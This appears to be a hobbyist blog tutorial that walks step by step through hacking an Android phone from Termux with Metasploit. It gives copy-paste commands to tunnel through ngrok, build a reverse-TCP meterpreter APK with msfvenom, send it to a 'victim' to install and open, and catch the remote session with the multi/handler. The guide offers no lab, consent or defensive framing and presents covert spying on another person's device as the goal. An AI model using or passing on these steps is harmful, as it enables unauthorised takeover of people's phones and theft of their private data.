Hello guys, today I am going to tell you about how to hack android device by termux with the help of Metasploit Payload. We are going to use Ngrok for port forwading.
Follow my steps for android hacking with metasploit termux. Don't do any spelling mistake while typing command, I recommended you to just copy command from here and paste into termux
Step 1 : Install Metasploit In Termux.
Download Termux app from playstore and open it. Then type following command in termux one by one.
pkg up -y
pkg install unstable-repo
pkg install metasploit
This installation will going to take 140 mb of disk space. Don't minimize or close termux app while process is running. Installation process will take 5 to 10 minute so be patience.
Step 2 : Setup Ngrok Port Forawading Tunnel For Metasploit Payload.
We are going to use ngrok server for create port forwarding tunnel. We are going to start tcp server at port 7040.
First we need to install and configure ngrok in termux. So watch video which given below and follow steps from video for install and configure ngrok in termux.
Then start tcp server on port 7040 by following command. Make sure you turned on Hotspot of your device.
./ngrok tcp 7040
Step 3 : Create Metasploit Payload And Install Into Victim Device.
Now we are going to create payload and send this payload to victim device.
First we need to find LHOST and LPORT for host your metasploit payload. You will get LHOST and LPORT from ngrok tunnel forwading.
In my case LHOST= tcp.ngrok.io and LPORT = 16555. This maybe different in your device. So note that lhost and lport some where, we need that on further steps.
Now open new session in termux. Don't close first ngrok session. We must have to run this sessions in background. So acquire wake lock in termux. For that open new session and type following command.
termux-wake-lock
Now create metasploit payload by following command in termux.
msfvenom -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=16555 R > test.apk
Here "test.apk" is name of our payload apk file. Enter LHOST and LPORT that we get earlier from ngrok tcp server.
Now we are transfering this payload to our storage download folder. For that type following command.
termux-setup-storage -y
cp test.apk /data/data/com.termux/files/home/storage/downloads
Now you will find test.apk file into download fodler of your device. Now send this file to your victim and install that apk file and open it then close apk file and get back to termux. Make sure your termux running in background otherwise you will have to do this same process again.
Step 4 : Opening Metasploit Console.
For open metasploit console in termux type following command.
msfconsole
It may take some time while opening first time so wait some time. After you will get metasploit interface like below.
Step 5 : Set Metasploit Payload And Exploit It.
Now we are going to set that payload to metasploit. For that type following command one by one.
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 0.tcp.ngrok.io
set lport 7040
Here 7040 is port number in which we create ngrok server on step 2.
exploit
After typing Exploit you will get meterpreter session on your termux. Then type command "help" and you will get all meterpreter commands for hack android. Just type those commands and you will get relevant information and data.